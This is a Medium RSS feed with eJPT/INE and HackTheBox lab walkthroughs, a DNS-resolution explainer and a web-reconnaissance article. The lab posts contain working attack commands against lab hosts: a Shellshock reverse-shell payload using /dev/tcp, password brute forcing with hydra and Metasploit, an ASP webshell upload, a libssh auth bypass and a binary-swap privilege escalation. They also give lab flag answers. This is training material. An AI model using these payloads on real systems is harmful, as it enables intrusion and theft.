<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Muskanmadhur on Medium]]></title>
        <description><![CDATA[Stories by Muskanmadhur on Medium]]></description>
        <link>https://medium.com/@muskanmadhur11.11?source=rss-7786feb871d8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*RI8p8qZpFg0tbtEE</url>
            <title>Stories by Muskanmadhur on Medium</title>
            <link>https://medium.com/@muskanmadhur11.11?source=rss-7786feb871d8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 10:06:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@muskanmadhur11.11/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Host & Network Penetration Testing: Network-Based Attacks CTF 1 (EJPT INE)]]></title>
            <link>https://medium.com/@muskanmadhur11.11/host-network-penetration-testing-network-based-attacks-ctf-1-ejpt-ine-e57357cc8878?source=rss-7786feb871d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/e57357cc8878</guid>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[ejpt-exam-guide]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ejptv2]]></category>
            <category><![CDATA[ejpt-walkthrough]]></category>
            <dc:creator><![CDATA[Muskanmadhur]]></dc:creator>
            <pubDate>Sat, 19 Jul 2025 09:41:50 GMT</pubDate>
            <atom:updated>2025-07-19T09:41:50.315Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Akth5jpgyrX35mB_gwrig.png" /></figure><h3>Lab Environment</h3><p>In this lab environment, you will have GUI access to a Kali machine with access to a captured network packet file <strong>test.pcap</strong>.</p><p><strong>Objective:</strong> Use network analysis techniques to identify and capture the following flags related to the infection and attack:</p><ul><li><strong>Flag 1:</strong> What is the URL accessed by the infected user that returned a 200 OK response code.</li><li><strong>Flag 2:</strong> What is the IP address, MAC address of the infected Windows client?</li><li><strong>Flag 3:</strong> Which Wireshark filter can you use to determine the victim’s hostname from NetBIOS Name Service traffic, and what is the detected hostname for this malware infection?</li><li><strong>Flag 4:</strong> Which user got infected and ran the mystery_file.ps1 PowerShell script?</li><li><strong>Flag 5:</strong> What User-Agent string indicates the traffic generated by a PowerShell script?</li><li><strong>Flag 6:</strong> Which wallet extension ID is associated with the Coinbase wallet?</li></ul><h3>Tools</h3><p>The best tools for this lab are:</p><ul><li>Wireshark</li></ul><p><strong>Flag 1:</strong> What is the URL accessed by the infected user that returned a 200 OK response code.</p><p><strong>Solutions :</strong></p><pre>1. open test.pcap file in wireshark<br>2. use filter : http.response.code == 200<br>3. check for Hypertext Transfer Protocol section<br>4. then check for parameter requested URI : http://623start.site/?status=install</pre><p><strong>Answer : </strong>623start.site</p><p><strong>Flag 2:</strong> What is the IP address, MAC address of the infected Windows client?</p><p><strong>Solutions :</strong></p><pre>1. Go to a packet and expand:<br>2. Ethernet II ➝ You&#39;ll find MAC address<br>3. Internet Protocol ➝ You&#39;ll find IP address</pre><p><strong>Answer</strong> : 10.7.10.47, 80:86:5b:ab:1e:c4</p><p><strong>Flag 3:</strong> Which Wireshark filter can you use to determine the victim’s hostname from NetBIOS Name Service traffic, and what is the detected hostname for this malware infection?</p><p><strong>Solutions :</strong></p><pre>1. use filter nbns<br>2. check for the hostname section</pre><p><strong>Answer : </strong>nbns, DESKTOP-9PEA63H</p><p><strong>Flag 4:</strong> Which user got infected and ran the mystery_file.ps1 PowerShell script?</p><p><strong>Solutions :</strong></p><pre>1. use filter tcp contains &quot;mystery_file.ps1&quot;<br>2. copy the truncated data as plain text and paste it in note pad and check for the user name <br>(C:\Users\rwalters\Documents\mystery_file.ps1)</pre><p><strong>Answer : </strong>rwalters</p><p><strong>Flag 5:</strong> What User-Agent string indicates the traffic generated by a PowerShell script?</p><p><strong>Solutions :</strong></p><pre>1. use filter tcp contains &quot;PowerShell&quot;<br>2. check for user-agent parameter</pre><p><strong>Answer : </strong>WindowsPowerShell</p><p><strong>Flag 6:</strong> Which wallet extension ID is associated with the Coinbase wallet?</p><p><strong>Solutions :</strong></p><pre>1. search for coinbase as packet byte<br>2. copy the truncated data as plain text and paste it in note pad and check for coinbase ID  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gS5Q1h0iIS4R0uxlzHPHWA.png" /></figure><p><strong>Answer : </strong>hnfanknocfeofbddgcijnmhnfnkdnaad</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e57357cc8878" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Host & Network Penetration Testing: System-Host Based Attacks CTF 2 (EJPT INE)]]></title>
            <link>https://medium.com/@muskanmadhur11.11/host-network-penetration-testing-system-host-based-attacks-ctf-2-ejpt-ine-9a9b6b3e1c96?source=rss-7786feb871d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a9b6b3e1c96</guid>
            <category><![CDATA[ejpt-exam-guide]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[ejptv2]]></category>
            <category><![CDATA[ejpt-ctf]]></category>
            <category><![CDATA[ejpt-walkthrough]]></category>
            <dc:creator><![CDATA[Muskanmadhur]]></dc:creator>
            <pubDate>Wed, 02 Jul 2025 16:11:17 GMT</pubDate>
            <atom:updated>2025-07-02T16:11:17.386Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2vpYdOo9q7lkKJZ2m3zgHQ.png" /></figure><h3>Lab Environment</h3><p>In this lab environment, you will be provided with GUI access to a Kali Linux machine. Two machines are accessible at <a href="http://target1.ine.local/"><strong>http://target1.ine.local</strong></a> and <a href="http://target2.ine.local./"><strong>http://target2.ine.local</strong>.</a></p><p><strong>Objective:</strong> Perform system/host-based attacks on the target and capture all the flags hidden within the environment.</p><p><strong>Flags to Capture:</strong></p><ul><li><strong>Flag 1</strong>: Check the root (‘/’) directory for a file that might hold the key to the first flag on target1.ine.local.</li><li><strong>Flag 2</strong>: In the server’s root directory, there might be something hidden. Explore ‘/opt/apache/htdocs/’ carefully to find the next flag on target1.ine.local.</li><li><strong>Flag 3</strong>: Investigate the user’s home directory and consider using ‘libssh_auth_bypass’ to uncover the flag on target2.ine.local.</li><li><strong>Flag 4</strong>: The most restricted areas often hold the most valuable secrets. Look into the ‘/root’ directory to find the hidden flag on target2.ine.local.</li></ul><h3>Tools</h3><p>The best tools for this lab are:</p><ul><li>Nmap</li><li>Burp Suite</li><li>Metasploit Framework</li></ul><p><strong>Flag 1</strong>: Check the root (‘/’) directory for a file that might hold the key to the first flag on target1.ine.local.</p><p><strong>Flag 2</strong>: In the server’s root directory, there might be something hidden. Explore ‘/opt/apache/htdocs/’ carefully to find the next flag on target1.ine.local.</p><p><strong>Solutions :</strong></p><pre>1. nmap -sS -sV -O target1.ine.local<br>2. browse : target1.ine.local<br>3. nmap -sV target1.ine.local --script=http-shellshock --script-args &quot;http-shellshock.uri=/browser.cgi&quot;<br>4. turn on the proxy and open the burpsuite to intercept<br>5. refresh the browser and capture the traffic on burpsuite intruder and send it to repeater to manipulate the user agent header<br>6. () { : ; } ; echo; echo; /bin/bash -c &#39;cat /etc/passwd&#39; == to check weather it is vulnerable to CGI or not<br>7. if it is vulnerable to CGI, it will give 200 ok response <br>8. <br>9. then need to take reverse  session<br>10. terminal ==&gt; nc -nvlp 1234<br>11. burpsuite ==&gt; useragent ==&gt; () { : ; } ; echo; echo; /bin/bash -c &#39;bash -i&gt;&amp;/dev/tcp/192.62.80.2/1234 0&gt;&amp;1&#39;<br>12. will get the reverse session then in root directory will get the flag 1<br>13. in /opt/apache/htdocs directory will get the flag 2 </pre><p>Flag 1 : 3d9fa8a443984ad58e761994f3e12fb7</p><p>Flag 2 : 942414f9b5ad473895d35d5f45fd6bc2</p><p><strong>Flag 3</strong>: Investigate the user’s home directory and consider using ‘libssh_auth_bypass’ to uncover the flag on target2.ine.local.</p><pre>1. use auxiliary/scanner/ssh/libssh_auth_bypass<br>2. set SPAWN_PTY true<br>3. set RHOSTS 192.62.80.4<br>4. run<br>5. sessions<br>6. sessions -i 1<br>7. cd home/user<br>8. ls -la<br>9. cat flag.txt </pre><p>Flag 3: 6186168b1ccb4b998416af6d7bffcb57</p><p><strong>Flag 4</strong>: The most restricted areas often hold the most valuable secrets. Look into the ‘/root’ directory to find the hidden flag on target2.ine.local.</p><pre>1. after getting session through libssh_auth_bypass<br>2. cd home/user<br>3. ./greetings<br>4. ./welcome<br>5. file welcome<br>6. strings welcome <br>7. rm greetings<br>8. cp /bin/bash greetings<br>9. ./welcome<br>10. whoami<br>11. cd /root<br>12. ls<br>13. cat flag</pre><p>Flag 4: 12e93b4de5c048859ce5e480ee2833ee</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a9b6b3e1c96" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Host & Network Penetration Testing: System-Host Based Attacks CTF 1 — eJPT Walkthrough]]></title>
            <link>https://medium.com/@muskanmadhur11.11/host-network-penetration-testing-system-host-based-attacks-ctf-1-ejpt-walkthrough-7242eee2471f?source=rss-7786feb871d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/7242eee2471f</guid>
            <category><![CDATA[ejpt-walkthrough]]></category>
            <category><![CDATA[ejpt-ctf]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[ejptcert]]></category>
            <category><![CDATA[ejpt-exam-guide]]></category>
            <dc:creator><![CDATA[Muskanmadhur]]></dc:creator>
            <pubDate>Mon, 16 Jun 2025 14:18:13 GMT</pubDate>
            <atom:updated>2025-06-16T14:18:13.640Z</atom:updated>
            <content:encoded><![CDATA[<h4>Host &amp; Network Penetration Testing: System-Host Based Attacks CTF 1 — eJPT Walkthrough</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gDj6-Mv6eag9P7nG1J332g.png" /></figure><ul><li><strong>Flag 1</strong>: User ‘bob’ might not have chosen a strong password. Try common passwords to gain access to the server where the flag is located. (target1.ine.local)</li><li><strong>Flag 2</strong>: Valuable files are often on the C: drive. Explore it thoroughly. (target1.ine.local)</li><li><strong>Flag 3</strong>: By attempting to guess SMB user credentials, you may uncover important information that could lead you to the next flag. (target2.ine.local)</li><li><strong>Flag 4</strong>: The Desktop directory might have what you’re looking for. Enumerate its contents. (target2.ine.local)</li></ul><p>Solutions</p><p>Flag 1.</p><pre>nmap -sV -sC IP<br>ip/webdav/ in browser check<br>hydra -L bob -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt http-get /webdav/ <br>davtest -auth bob:password_123321 -url http://ip/webdav/ <br>cadaver http://IP/webdav/<br>provide username<br>provide password <br>cat flag.txt<br></pre><p>Flag 2.</p><pre>put /usr/share/webshells/asp/webshell.asp<br>navigate in browser target1.ine.local/webdav/webshell.asp<br>dir C:\<br>type C:\flag2.txt</pre><p>For Flag 3rd and 4th</p><pre>nmap -sV -sC -O target2.ine.local<br>use auxiliary/scanner/smb/smb_login<br>set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt<br>set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt<br>set VERBOSE false<br>set RHOSTS <br>exploit<br>based on enumerated user id and password<br>smbclient -L //10.5.28.11 -U administrator<br>1smbclient \\\\10.5.28.11\\C$ -U administrator<br>ls <br>get flag3.txt<br>cd Users/Administrator/Desktop<br>ls<br>get flag4.txt</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7242eee2471f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From URL to IP: A Deep Dive into How Your Browser Resolves DNS Queries]]></title>
            <link>https://medium.com/@muskanmadhur11.11/from-url-to-ip-a-deep-dive-into-how-your-browser-resolves-dns-queries-eb82f6d8a3fd?source=rss-7786feb871d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb82f6d8a3fd</guid>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[dns-records]]></category>
            <category><![CDATA[dns-queries]]></category>
            <category><![CDATA[dns-resolution]]></category>
            <category><![CDATA[dns-servers]]></category>
            <dc:creator><![CDATA[Muskanmadhur]]></dc:creator>
            <pubDate>Fri, 30 May 2025 18:21:04 GMT</pubDate>
            <atom:updated>2025-05-30T18:21:04.154Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pZJ4ywYXgvGjL7oM" /></figure><p><strong>Introduction</strong></p><p>Whenever you type a website like <a href="http://www.example.com/">www.example.com</a>into your browser’s address bar, an intricate process begins under the hood to translate that human-friendly domain name into a machine-readable IP address. This process is known as <strong>DNS resolution</strong>, and it involves multiple layers of technology — from your browser and operating system to recursive and authoritative DNS servers across the internet.</p><p>This article breaks down each step of that journey in technical detail, including caching mechanisms, the role of different DNS servers, and how modern systems optimize and secure this process.</p><p><strong>🧠 What Is DNS and Why Do We Need It?</strong></p><p><strong>DNS (Domain Name System)</strong> acts like the internet’s phonebook. It maps domain names (like openai.com) to IP addresses (like 104.18.8.86), which are used by devices to communicate over networks.</p><p>Because remembering IP addresses is impractical for humans, DNS provides a hierarchical and decentralized naming system that resolves domain names to IPs quickly and reliably.</p><p><strong>🧭 Step-by-Step Breakdown of DNS Resolution</strong></p><p><strong>1. Browser-Level DNS Cache Check</strong></p><p>When a user hits Enter after typing a URL, the browser first checks its <strong>internal DNS cache</strong>. This is a quick-access memory store that holds previously resolved domain names and their IP addresses.</p><ul><li>Most modern browsers (Chrome, Firefox, Edge) implement their own DNS caching system.</li><li>If a valid cached record exists, DNS resolution is skipped entirely.</li><li>This minimizes latency and speeds up browsing.</li></ul><p>🔍 <strong>Tools to View Cache</strong>:</p><ul><li>In Chrome, you can visit chrome://net-internals/#dnsto see cached DNS entries.</li></ul><p><strong>2. OS-Level Resolver and Cache Lookup</strong></p><p>If the browser cache doesn’t contain the needed record, it forwards the request to the <strong>operating system’s resolver</strong>.</p><p>The OS checks:</p><ul><li><strong>Local DNS cache</strong> (stored in memory).</li><li><strong>Hosts file</strong>: a static table that can override DNS (e.g.,127.0.0.1 mytest.local).</li><li>If no matching entry is found, the OS forwards the query to a configured <strong>recursive DNS resolver</strong>.</li></ul><p>📍 <strong>Common host file paths</strong>:</p><ul><li>Windows: C:\Windows\System32\drivers\etc\hosts</li><li>Linux/macOS:/etc/hosts</li></ul><p><strong>3. Recursive DNS Resolver (Usually Provided by ISP or Public DNS)</strong></p><p>The OS queries a <strong>recursive DNS server</strong>. This server is responsible for resolving the full domain name if it doesn’t already have it cached.</p><p>Popular public recursive resolvers:</p><ul><li>Google DNS (8.8.8.8)</li><li>Cloudflare DNS (1.1.1.1)</li><li>OpenDNS (208.67.222.222)</li></ul><p>If the resolver has the record cached, it returns the IP to the OS immediately.</p><p>If not, it begins the <strong>recursive resolution process</strong>, asking multiple DNS servers across the hierarchy.</p><p><strong>4. Query to Root DNS Servers</strong></p><p>The recursive resolver queries one of the 13 logical <strong>Root DNS Servers</strong>, which are distributed globally.</p><p>❓ <strong>What do Root Servers do?</strong><br> They don’t know the IP address of www.example.com, but they know where to find .com — the Top-Level Domain (TLD) name servers.</p><p>🧠 There are <strong>13 named root servers (A to M)</strong>, but each is a <strong>cluster of many servers</strong> using anycast IP addresses to provide global coverage.</p><p><strong>5. Query to TLD (Top-Level Domain) Name Servers</strong></p><p>Next, the recursive resolver queries the <strong>TLD name server</strong> (in this case, .com).</p><p>The .com TLD server responds with the <strong>authoritative name server</strong> for example.com.</p><p>Examples of TLDs:</p><ul><li>.com, .org, .net, .in → Managed by Verisign and others</li><li>Country-code TLDs: .uk, .de, .jp</li></ul><p><strong>6. Query to Authoritative Name Server</strong></p><p>The recursive resolver then contacts the <strong>authoritative DNS server</strong> for example.com, often operated by:</p><ul><li>The domain’s registrar or hosting provider</li><li>CDN providers like Cloudflare, Akamai, or Fastly</li></ul><p>This server has the <strong>definitive DNS records</strong> for the domain, such as:</p><ul><li><strong>A/AAAA Record</strong>: Maps to IPv4/IPv6</li><li><strong>CNAME</strong>: Alias to another name</li><li><strong>MX</strong>: Mail server details</li><li><strong>TXT</strong>: SPF, DKIM, and other metadata</li></ul><p>Example Response:</p><pre>A www.example.com 93.184.216.34 TTL=3600</pre><p><strong>7. Response Propagation Back to Browser</strong></p><p>The recursive resolver:</p><ul><li>Caches the result (based on TTL) for efficiency</li><li>Returns the IP address to the operating system</li><li>The OS provides it to the browser</li></ul><p>Now, the browser knows exactly <strong>where</strong> to send the HTTP or HTTPS request.</p><p><strong>🌐 TLS Handshake and Content Loading</strong></p><p>Once the browser has the IP address, it initiates a <strong>TCP connection</strong> (usually port 443 for HTTPS) to the server and starts a <strong>TLS handshake</strong> to secure the connection.</p><p>🔐 TLS Handshake Includes:</p><ul><li>Exchanging cryptographic keys</li><li>Authenticating the server using an SSL/TLS certificate</li><li>Establishing a secure session</li></ul><p>Once established:</p><ul><li>The browser sends an HTTP request</li><li>Receives and renders HTML, CSS, JavaScript, and images</li></ul><p><strong>🧱 DNS Zones &amp; Delegation</strong></p><p>A <strong>DNS zone</strong> is an administrative segment of the DNS namespace, controlled by a specific organization or entity.</p><p>Zone files contain:</p><ul><li>Resource records (RRs) like A, AAAA, MX</li><li>Start of Authority (SOA) records defining primary DNS servers</li><li>NS records indicating name servers for the zone</li></ul><p>🛠️ Example DNS Zone:</p><pre>@  IN  SOA  ns1.example.com. admin.example.com. 2024053001 3600 600 604800 3600<br>@  IN  NS   ns1.example.com.<br>@  IN  A    93.184.216.34<br>www IN  CNAME example.com.</pre><p><strong>🕒 Caching and TTL Explained</strong></p><ul><li><strong>TTL (Time to Live)</strong> defines how long DNS records stay in cache.</li><li>Helps reduce DNS traffic and latency.</li><li>But setting a TTL that’s too long can cause stale data to persist.</li></ul><p>🔁 <strong>Caching Layers:</strong></p><ol><li><strong>Browser DNS cache</strong></li><li><strong>OS-level cache</strong></li><li><strong>ISP/public recursive resolver cache</strong></li></ol><p>You can flush cache to force DNS re-resolution:</p><ul><li>Windows: ipconfig /flushdns</li><li>Linux/macOS: sudo dscacheutil -flushcache</li></ul><p><strong>🔐 DNS Security Enhancements</strong></p><p>DNS is historically insecure, but modern protocols aim to fix that:</p><p><strong>🔸 DNS over HTTPS (DoH)</strong></p><p>Encrypts DNS queries over HTTPS, preventing snooping.</p><p><strong>🔸 DNS over TLS (DoT)</strong></p><p>Uses TLS for DNS resolution over port 853.</p><p><strong>🔸 DNSSEC (DNS Security Extensions)</strong></p><p>Adds authentication to DNS responses using cryptographic signatures, preventing spoofing or cache poisoning.</p><p><strong>📈 Real-World Performance Optimization</strong></p><ul><li><strong>CDNs (Content Delivery Networks)</strong> use DNS to route users to the nearest server.</li><li><strong>Load balancers</strong> distribute traffic based on region, latency, or server health.</li><li><strong>Anycast routing</strong> serves DNS queries from the nearest edge server.</li></ul><p><strong>✅ Conclusion</strong></p><p>From your browser’s address bar to a server halfway across the globe, DNS resolution is a multi-step, distributed, and optimized process involving local caches, operating systems, global DNS hierarchies, and secure protocols. It all happens in milliseconds — yet it’s foundational to everything you do online.</p><p>Understanding this journey not only empowers you to troubleshoot faster but also enhances your appreciation for how seamlessly the internet works under the hood.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb82f6d8a3fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Assessment Methodologies: Footprinting and Scanning CTF 1 (EJPT INE)]]></title>
            <link>https://medium.com/@muskanmadhur11.11/assessment-methodologies-footprinting-and-scanning-ctf-1-ejpt-ine-70d28baaad21?source=rss-7786feb871d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/70d28baaad21</guid>
            <category><![CDATA[footprinting]]></category>
            <category><![CDATA[ejpt-walkthrough]]></category>
            <category><![CDATA[ejpt-ctf]]></category>
            <category><![CDATA[ejpt-exam-guide]]></category>
            <category><![CDATA[ejpt]]></category>
            <dc:creator><![CDATA[Muskanmadhur]]></dc:creator>
            <pubDate>Sun, 25 May 2025 12:27:24 GMT</pubDate>
            <atom:updated>2025-05-25T12:27:24.103Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Welcome, everyone!</strong></p><p>I’m excited to share the walkthrough of the <strong>EJPT CTF-1</strong> challenge that I recently purchased and completed. In this write-up, I’ll walk you through how I approached the lab, the methodology I followed, and the commands I used to collect all the flags. Please note, I won’t be sharing the flags directly — my goal is to help you <strong>learn and understand the process</strong>, not just submit answers.</p><p>So, if you’re ready to level up your skills, let’s dive into our first lab!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TgUTBp4j19AFQtdLhxsTaw.png" /></figure><p><strong>Flag 1: The server proudly announces its identity in every response. Look closely; you might find something unusual.</strong></p><p>Solutions : This sounds like a hint related to HTTP response headers, particularly the Server header</p><pre>curl -I target.ine.local</pre><p><strong>Flag 2: The gatekeeper’s instructions often reveal what should remain unseen. Don’t forget to read between the lines.</strong></p><p>Solutions :</p><p><strong>The gatekeeper’s instructions : </strong>This most likely refers to <strong>robots.txt</strong>, a file found at: <a href="https://example.com/robots.txt%60">https://example.com/robots.txt</a><br> <br>Navigate :</p><pre>http://target.ine/robots.txt<br>http://target.ine/secret-info/<br>http://target.ine/secret-info/flag.txt</pre><p><strong>Flag 3: Anonymous access sometimes leads to forgotten treasures. Connect and explore the directory; you might stumble upon something valuable.</strong></p><p>Solutions : <br>Anonymous access sometimes leads to forgotten treasures. this heavily implies one of the following:</p><p>Anonymous FTP access</p><pre>ftp target.ine.local<br>username: anonymous<br>password: anonymous@target.ine.local<br>ls<br>get flag.txt<br>cat flag.txt</pre><p><strong>Flag 4: A well-named database can be quite revealing. Peek at the configurations to discover the hidden treasure.</strong></p><p>Solutions:</p><p><strong>Step 1: Anonymous FTP Access (Flag 3)</strong></p><p>Using anonymous FTP login, i accessed the server and discovered two files in the accessible directory:</p><p>flag.txt<br> <br>creds.txt</p><p>i downloaded both files and stored them securely for later use.</p><p><strong>Step 2: Accessing MySQL</strong></p><p>Now returning to the information discovered during port scanning — with MySQL confirmed to be running, and using the credentials from creds.txt, i attempt to log into the database:</p><p>mysql -h target.ine.local -u &lt;username&gt; -p</p><p>When prompted, i supply the password extracted from creds.txt.</p><p><strong>Step 3: Database Enumeration</strong></p><p>Once successfully authenticated, we begin our enumeration:</p><p>SHOW DATABASES;</p><p>Thank you for reading!<br>See you all in the next CTF.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70d28baaad21" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Assessment Methodologies: Information Gathering CTF 1 (EJPT INE)]]></title>
            <link>https://medium.com/@muskanmadhur11.11/assessment-methodologies-information-gathering-ctf-1-ejpt-ine-f98592ce12da?source=rss-7786feb871d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/f98592ce12da</guid>
            <category><![CDATA[ejpt-ctf]]></category>
            <category><![CDATA[ejpt-exam-guide]]></category>
            <category><![CDATA[ejpt-walkthrough]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[information-gathering]]></category>
            <dc:creator><![CDATA[Muskanmadhur]]></dc:creator>
            <pubDate>Sat, 24 May 2025 15:34:47 GMT</pubDate>
            <atom:updated>2025-05-24T15:34:47.102Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Welcome, everyone!</strong></p><p>I’m excited to share the walkthrough of the <strong>EJPT CTF-1</strong> challenge that I recently purchased and completed. In this write-up, I’ll walk you through how I approached the lab, the methodology I followed, and the commands I used to collect all the flags. Please note, I won’t be sharing the flags directly — my goal is to help you <strong>learn and understand the process</strong>, not just submit answers.</p><p>So, if you’re ready to level up your skills, let’s dive into our first lab!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yhy4iIt5omRescVAMwsmQQ.png" /></figure><p><strong>Flag 1: This tells search engines what to and what not to avoid.</strong></p><p>Solution :-</p><pre>http://target.ine.local/robots.txt</pre><p><strong>Flag 2: What website is running on the target, and what is its version?</strong></p><p>Solutions :-</p><pre>whatweb target</pre><p><strong>Flag 3: Directory browsing might reveal where files are stored.</strong></p><p>Solutions :-</p><pre>dirb target.ine.local<br>http://target.ine.local/wp-content/uploads/flag.txt</pre><p><strong>Flag 4: An overlooked backup file in the webroot can be problematic if it reveals sensitive configuration details.</strong><br> <br> Solutions:-</p><pre>dirb http://target.ine.local -w /usr/share/dirb/wordlists/big.txt -X .bak,.tar.gz,.zip,.sql,.bak.zip<br>cat wp-config.bak</pre><p><strong>Flag 5: Certain files may reveal something interesting when mirrored.</strong></p><p>Solutions :-</p><pre>httrack<br> cd /root/websites/123/target.ine.local/<br> cat xmlrpc0db0.php</pre><p>Thank you for reading!<br>See you all in the next CTF.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f98592ce12da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Information Gathering — Web Edition — HTB (Part 3)]]></title>
            <link>https://medium.com/@muskanmadhur11.11/information-gathering-web-edition-htb-part-3-7917abaea2ed?source=rss-7786feb871d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/7917abaea2ed</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Muskanmadhur]]></dc:creator>
            <pubDate>Tue, 25 Mar 2025 21:26:02 GMT</pubDate>
            <atom:updated>2025-03-25T21:26:02.654Z</atom:updated>
            <content:encoded><![CDATA[<h3>Information Gathering — Web Edition — HTB (Part 3)</h3><h3>Crawling</h3><p>Crawling, often called spidering, is the automated process of systematically browsing the World Wide Web. Similar to how a spider navigates its web, a web crawler follows links from one page to another, collecting information. These crawlers are essentially bots that use pre-defined algorithms to discover and index web pages, making them accessible through search engines or for other purposes like data analysis and web reconnaissance.</p><h4>robots.txt</h4><p>Imagine you’re a guest at a grand house party. While you’re free to mingle and explore, there might be certain rooms marked “Private” that you’re expected to avoid. This is akin to how robots.txt functions in the world of web crawling. It acts as a virtual &quot;etiquette guide&quot; for bots, outlining which areas of a website they are allowed to access and which are off-limits.</p><h4>What is robots.txt?</h4><p>Technically, robots.txt is a simple text file placed in the root directory of a website (e.g., www.example.com/robots.txt). It adheres to the Robots Exclusion Standard, guidelines for how web crawlers should behave when visiting a website. This file contains instructions in the form of &quot;directives&quot; that tell bots which parts of the website they can and cannot crawl.</p><h4>How robots.txt Works</h4><p>The directives in robots.txt typically target specific user-agents, which are identifiers for different types of bots.</p><h4>Understanding robots.txt Structure</h4><p>The robots.txt file is a plain text document that lives in the root directory of a website. It follows a straightforward structure, with each set of instructions, or “record,” separated by a blank line. Each record consists of two main components:</p><ol><li>User-agent: This line specifies which crawler or bot the following rules apply to. A wildcard (*) indicates that the rules apply to all bots. Specific user agents can also be targeted, such as &quot;Googlebot&quot; (Google&#39;s crawler) or &quot;Bingbot&quot; (Microsoft&#39;s crawler).</li><li>Directives: These lines provide specific instructions to the identified user-agent.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FEoFYERP-uvg0cOG_MIsyg.png" /></figure><h3>Why Respect robots.txt?</h3><p>While robots.txt is not strictly enforceable (a rogue bot could still ignore it), most legitimate web crawlers and search engine bots will respect its directives. This is important for several reasons:</p><ul><li>Avoiding Overburdening Servers: By limiting crawler access to certain areas, website owners can prevent excessive traffic that could slow down or even crash their servers.</li><li>Protecting Sensitive Information: Robots.txt can shield private or confidential information from being indexed by search engines.</li><li>Legal and Ethical Compliance: In some cases, ignoring robots.txt directives could be considered a violation of a website&#39;s terms of service or even a legal issue, especially if it involves accessing copyrighted or private data.</li></ul><h3>robots.txt in Web Reconnaissance</h3><p>For web reconnaissance, robots.txt serves as a valuable source of intelligence. While respecting the directives outlined in this file, security professionals can glean crucial insights into the structure and potential vulnerabilities of a target website:</p><ul><li>Uncovering Hidden Directories: Disallowed paths in robots.txt often point to directories or files the website owner intentionally wants to keep out of reach from search engine crawlers. These hidden areas might house sensitive information, backup files, administrative panels, or other resources that could interest an attacker.</li><li>Mapping Website Structure: By analyzing the allowed and disallowed paths, security professionals can create a rudimentary map of the website&#39;s structure. This can reveal sections that are not linked from the main navigation, potentially leading to undiscovered pages or functionalities.</li><li>Detecting Crawler Traps: Some websites intentionally include &quot;honeypot&quot; directories in robots.txt to lure malicious bots. Identifying such traps can provide insights into the target&#39;s security awareness and defensive measures.</li></ul><h4>Well-Known URIs</h4><p>The .well-known standard, defined in <a href="https://datatracker.ietf.org/doc/html/rfc8615">RFC 8615</a>, serves as a standardized directory within a website&#39;s root domain. This designated location, typically accessible via the /.well-known/ path on a web server, centralizes a website&#39;s critical metadata, including configuration files and information related to its services, protocols, and security mechanisms.</p><p>By establishing a consistent location for such data, .well-known simplifies the discovery and access process for various stakeholders, including web browsers, applications, and security tools. This streamlined approach enables clients to automatically locate and retrieve specific configuration files by constructing the appropriate URL. 